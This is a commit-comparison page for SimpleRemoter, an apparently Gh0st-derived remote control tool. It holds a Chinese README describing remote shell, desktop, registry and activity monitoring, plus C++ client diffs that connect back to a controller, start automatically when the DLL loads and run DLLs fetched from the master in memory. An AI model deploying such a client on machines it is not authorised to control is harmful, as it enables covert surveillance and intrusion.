Compare commits
31 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9078f1eb10 | ||
|
|
e31aafcdb5 | ||
|
|
8be2456b91 | ||
|
|
4783a43e9e | ||
|
|
685e0a1e3f | ||
|
|
630f801574 | ||
|
|
4926cdb19c | ||
|
|
76605f3e1f | ||
|
|
323500dc90 | ||
|
|
ba56029aca | ||
|
|
72d835f257 | ||
|
|
b4bc266ac6 | ||
|
|
ca8ff799ef | ||
|
|
843faf079c | ||
|
|
e9b0be2761 | ||
|
|
93d54d55a7 | ||
|
|
fbd3bcdab6 | ||
|
|
238d6d5bd2 | ||
|
|
c6f70136e1 | ||
|
|
21d533f7fc | ||
|
|
6c4663751a | ||
|
|
fa9f111511 | ||
|
|
72459de00e | ||
|
|
69afaf19c0 | ||
|
|
29a324404f | ||
|
|
db76967a37 | ||
|
|
2d54b0f63d | ||
|
|
9bc2cd4307 | ||
|
|
7a6b57917a | ||
|
|
9475e59887 | ||
|
|
13288b5c4e |
58
ReadMe.md
@@ -7,6 +7,8 @@
|
||||
|
||||
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。
|
||||
|
||||
此程序仅限于学习和技术交流用途,使用者本人需对自己使用该软件产生的结果进行负责。
|
||||
|
||||
**起始日期**:2019.1.1
|
||||
|
||||
## 主控程序
|
||||
@@ -21,7 +23,7 @@
|
||||
|
||||

|
||||
|
||||
终端管理打开命令行窗口,可以执行远程命令。
|
||||
终端管理打开命令行窗口,可以执行远程命令。有一个[极简版本](./linux/main.cpp),已经支持Linux客户端,供Linux开发者研究使用。
|
||||
|
||||

|
||||
|
||||
@@ -35,7 +37,8 @@
|
||||

|
||||
|
||||
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
|
||||
屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。虚拟桌面尚未开发,但也是能支持的。
|
||||
屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。
|
||||
另外,支持上报活动窗口和检测指定软件。
|
||||
|
||||

|
||||
|
||||
@@ -57,12 +60,35 @@
|
||||
|
||||
注册表管理即打开受控机器上面的注册表。
|
||||
|
||||
## Linux 客户端
|
||||
|
||||

|
||||
|
||||
在[v1.0.8](./Releases/v1.0.8/ghost)目录下实现了一个Linux端受控程序,当前只支持远程终端窗口。
|
||||
|
||||

|
||||
|
||||
请在Linux环境编译得到客户端,然后在生成服务端对话框,选择该文件,填写上线地址生成Linux端程序。
|
||||
|
||||
## 关于授权
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期,过期之后生成服务端需要凭借"序列号"申请口令;
|
||||
如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。
|
||||
“口令”包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。生成口令需使用密码。
|
||||
|
||||
## 受控程序
|
||||

|
||||
|
||||
受控程序是Client端,分为2种运行形式("类型"):单个程序 **(1)** ghost.exe和 **(2)** TestRun.exe+ServerDll.dll形式。
|
||||
(1)单个程序运行时,不依赖其他动态链接库,而第(2)种情况运行时,由EXE程序调用核心动态链接库。
|
||||
|
||||
注意:自[v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8)起,
|
||||
`TestRun.exe`将采取内存加载DLL运行方式,向主控程序请求DLL并在内存中执行,这有利于代码的热更新。
|
||||
|
||||
# 更新日志
|
||||
|
||||
2025年以前的变更记录参看:[history](./history.md)
|
||||
@@ -89,6 +115,34 @@ Release v1.0.7, mainly fix or add new feature:
|
||||
- Improve remote control efficiency and support more bitmap compressing method;
|
||||
- Some code reorganization.
|
||||
|
||||
**2025.04.12**
|
||||
|
||||
Since v1.0.7 released in April 5:
|
||||
|
||||
- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**;
|
||||
- Fix bugs: #62, #74, #75 ;
|
||||
- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build;
|
||||
- Showing the user's activities and monitoring specified software;
|
||||
- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity;
|
||||
- Implement loading DLL in memory, make it easy to update client program;
|
||||
|
||||
**2025.04.21**
|
||||
|
||||
Release v1.0.8:
|
||||
|
||||
- Support to share online host with other masters;
|
||||
- Implement service-generated authorization capability, and add a serial number generation menu;
|
||||
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
|
||||
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
|
||||
|
||||
**2025.04.30**
|
||||
|
||||
Release v1.0.9:
|
||||
|
||||
- Update client building feature / All in one; The master will only accept the clients built by itself.
|
||||
- Improve authorization feature.
|
||||
|
||||
|
||||
# 沟通反馈
|
||||
|
||||
QQ:962914132
|
||||
|
||||
BIN
Releases/v1.0.8/ServerDll.dll
Normal file
BIN
Releases/v1.0.8/TestRun.exe
Normal file
BIN
Releases/v1.0.8/Yama.exe
Normal file
BIN
Releases/v1.0.8/ghost
Normal file
BIN
Releases/v1.0.8/ghost.exe
Normal file
BIN
Releases/v1.0.8/x86/ServerDll.dll
Normal file
BIN
Releases/v1.0.8/x86/TestRun.exe
Normal file
BIN
Releases/v1.0.8/x86/Yama.exe
Normal file
BIN
Releases/v1.0.8/x86/ghost.exe
Normal file
BIN
Releases/v1.0.9.7z
Normal file
@@ -8,9 +8,6 @@
|
||||
#include <Mmsystem.h>
|
||||
#include <IOSTREAM>
|
||||
|
||||
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
#ifdef _WIN32
|
||||
#include "StdAfx.h"
|
||||
#endif
|
||||
|
||||
#include "Buffer.h"
|
||||
#include <math.h>
|
||||
|
||||
@@ -18,7 +21,7 @@ CBuffer::~CBuffer(void)
|
||||
{
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
MVirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
m_Base = NULL;
|
||||
}
|
||||
|
||||
@@ -67,13 +70,13 @@ VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
return;
|
||||
}
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
return;
|
||||
|
||||
CopyMemory(NewBase,m_Base,len);
|
||||
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
|
||||
m_Base = NewBase;
|
||||
|
||||
@@ -104,7 +107,7 @@ BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
return TRUE;
|
||||
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
@@ -115,7 +118,7 @@ BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
}
|
||||
m_Base = NewBase;
|
||||
m_Ptr = m_Base + len;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#include "../common/commands.h"
|
||||
|
||||
class CBuffer
|
||||
{
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
CSampleGrabberCB mCB;
|
||||
CSampleGrabberCB CCaptureVideo::mCB;
|
||||
|
||||
CCaptureVideo::CCaptureVideo()
|
||||
{
|
||||
|
||||
@@ -199,8 +199,6 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
extern CSampleGrabberCB mCB;
|
||||
|
||||
class CCaptureVideo
|
||||
{
|
||||
public:
|
||||
@@ -219,6 +217,7 @@ public:
|
||||
|
||||
HWND m_hWnd;
|
||||
|
||||
static CSampleGrabberCB mCB;
|
||||
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
||||
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
|
||||
|
||||
|
||||
@@ -2,38 +2,155 @@
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
using namespace std;
|
||||
#include "ClientDll.h"
|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ŀͻ<C4BF><CDBB>˸<EFBFBD><CBB8><EFBFBD>
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE};
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
|
||||
|
||||
// Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD>1-<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bExit = 0;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
BOOL g_bThreadExit = 0;
|
||||
// <EFBFBD><EFBFBD><EFBFBD>տͻ<EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><EFBFBD>2<EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
|
||||
|
||||
HINSTANCE g_hInstance = NULL;
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
enum { E_RUN, E_STOP, E_EXIT } status;
|
||||
|
||||
int ClientApp::m_nCount = 0;
|
||||
|
||||
CLock ClientApp::m_Locker;
|
||||
|
||||
BOOL IsProcessExit() {
|
||||
return g_MyApp.g_bExit == S_CLIENT_EXIT;
|
||||
}
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp) {
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit);
|
||||
}
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp) {
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return S_CLIENT_NORMAL == This->g_bExit;
|
||||
}
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) {
|
||||
auto v = StringToVector(remoteAddr, ':', 2);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
return nullptr;
|
||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||
return a;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param) {
|
||||
ClientApp::AddCount(1);
|
||||
ClientApp* app = (ClientApp*)param;
|
||||
CONNECT_ADDRESS& settings(*(app->g_Connection));
|
||||
const char* ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
State& bExit(app->g_bExit);
|
||||
if (ip != NULL && port > 0)
|
||||
{
|
||||
settings.SetServer(ip, port);
|
||||
}
|
||||
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Sleep(3000);
|
||||
} else {
|
||||
app->g_hInstance = GetModuleHandle(NULL);
|
||||
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
||||
|
||||
do {
|
||||
bExit = S_CLIENT_NORMAL;
|
||||
HANDLE hThread = CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
if (IsProcessExit()) // process exit
|
||||
break;
|
||||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||||
}
|
||||
|
||||
auto r = app->m_ID;
|
||||
if (app != &g_MyApp) delete app;
|
||||
ClientApp::AddCount(-1);
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD>MAXIMUM_WAIT_OBJECTS<54><53><EFBFBD>ƣ<EFBFBD>
|
||||
* @param handles <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param waitAll <20>Ƿ<EFBFBD><C7B7>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD>TRUE=ȫ<><C8AB>, FALSE=<3D><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
* @param timeout <20><>ʱʱ<CAB1>䣨<EFBFBD><E4A3A8><EFBFBD>룬INFINITE<54><45>ʾ<EFBFBD><CABE><EFBFBD>ȴ<DEB5><C8B4><EFBFBD>
|
||||
* @return <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WAIT_OBJECT_0<5F>ɹ<EFBFBD>, WAIT_FAILEDʧ<44>ܣ<EFBFBD>
|
||||
*/
|
||||
DWORD WaitForMultipleHandlesEx(
|
||||
const std::vector<HANDLE>& handles,
|
||||
BOOL waitAll = TRUE,
|
||||
DWORD timeout = INFINITE
|
||||
) {
|
||||
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // ϵͳ<CFB5><CDB3><EFBFBD>ƣ<EFBFBD>64<36><34>
|
||||
DWORD totalHandles = static_cast<DWORD>(handles.size());
|
||||
|
||||
// 1. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7>
|
||||
for (HANDLE h : handles) {
|
||||
if (h == NULL || h == INVALID_HANDLE_VALUE) {
|
||||
SetLastError(ERROR_INVALID_HANDLE);
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
|
||||
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>64<36><34>ֱ<EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>ԭ<EFBFBD><D4AD>API
|
||||
if (totalHandles <= MAX_WAIT) {
|
||||
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
|
||||
}
|
||||
|
||||
// 3. <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD>
|
||||
if (waitAll) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
TRUE, // <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
timeout
|
||||
);
|
||||
if (result == WAIT_FAILED) {
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
return WAIT_OBJECT_0;
|
||||
}
|
||||
else {
|
||||
// ֻ<><D6BB><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (true) {
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
FALSE, // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ɼ<EFBFBD><C9BC><EFBFBD>
|
||||
timeout
|
||||
);
|
||||
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
|
||||
return result + i; // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
}
|
||||
if (timeout != INFINITE) {
|
||||
return WAIT_TIMEOUT;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
|
||||
enum { E_RUN, E_STOP } status;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
{
|
||||
@@ -98,7 +215,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
g_bExit = true;
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
while (E_RUN == status)
|
||||
Sleep(20);
|
||||
}
|
||||
@@ -122,33 +239,29 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
if (argc>=3)
|
||||
{
|
||||
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
|
||||
}
|
||||
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Sleep(3000);
|
||||
return -1;
|
||||
}
|
||||
Mprintf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
|
||||
g_hInstance = GetModuleHandle(NULL);
|
||||
if (g_hInstance != NULL) {
|
||||
Mprintf("HINSTANCE: %p\n", g_hInstance);
|
||||
const char* ip = argc > 1 ? argv[1] : NULL;
|
||||
int port = argc > 2 ? atoi(argv[2]) : 0;
|
||||
ClientApp& app(g_MyApp);
|
||||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
app.g_Connection->SetServer(ip, port);
|
||||
if (CLIENT_PARALLEL_NUM == 1) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
StartClientApp(&app);
|
||||
} else {
|
||||
Mprintf("Failed to get HINSTANCE!\n");
|
||||
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
||||
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
||||
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
||||
handles[i] = CreateThread(0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
||||
if (handles[i] == 0) {
|
||||
Mprintf("<EFBFBD>߳<EFBFBD> %d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>: %d\n", i, errno);
|
||||
}
|
||||
}
|
||||
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
|
||||
if (result == WAIT_FAILED) {
|
||||
Mprintf("WaitForMultipleObjects ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
do{
|
||||
g_bExit = 0;
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}while (E_RUN == status && 1 != g_bExit);
|
||||
|
||||
ClientApp::Wait();
|
||||
status = E_STOP;
|
||||
|
||||
CloseHandle(hMutex);
|
||||
@@ -156,6 +269,23 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
#else
|
||||
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||
|
||||
// Auto run main thread after load the DLL
|
||||
DWORD WINAPI AutoRun(LPVOID param) {
|
||||
do
|
||||
{
|
||||
TestRun(NULL, 0);
|
||||
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
|
||||
|
||||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||
HMODULE hInstance = (HMODULE)param;
|
||||
FreeLibraryAndExitThread(hInstance, -1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
@@ -163,14 +293,14 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_PROCESS_ATTACH:
|
||||
{
|
||||
g_hInstance = (HINSTANCE)hInstance;
|
||||
|
||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||
break;
|
||||
}
|
||||
}
|
||||
case DLL_PROCESS_DETACH:
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
@@ -179,15 +309,19 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
g_bExit = FALSE;
|
||||
if (strlen(szServerIP)>0 && uPort>0)
|
||||
{
|
||||
g_SETTINGS.SetServer(szServerIP, uPort);
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
if (app.IsThreadRun()) {
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
return;
|
||||
}
|
||||
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL);
|
||||
app.SetThreadRun(TRUE);
|
||||
app.SetProcessState(S_CLIENT_NORMAL);
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||||
if (hThread == NULL) {
|
||||
app.SetThreadRun(FALSE);
|
||||
return;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
@@ -199,13 +333,33 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
}
|
||||
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
|
||||
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д˳<D0B4><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κβ<CEBA><CEB2><EFBFBD>
|
||||
extern "C" __declspec(dllexport) int EasyRun() {
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
|
||||
do {
|
||||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||||
while (!IsStoped())
|
||||
Sleep(50);
|
||||
if (S_CLIENT_EXIT == app.g_bExit) // <20>ܿض<DCBF><D8B6>˳<EFBFBD>
|
||||
break;
|
||||
else if (S_SERVER_EXIT == app.g_bExit)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
return app.g_bExit;
|
||||
}
|
||||
|
||||
// copy from: SimpleRemoter\client\test.cpp
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
|
||||
@@ -265,12 +419,15 @@ int nCmdShow:
|
||||
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
|
||||
*/
|
||||
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
State& bExit(app.g_bExit);
|
||||
char message[256] = { 0 };
|
||||
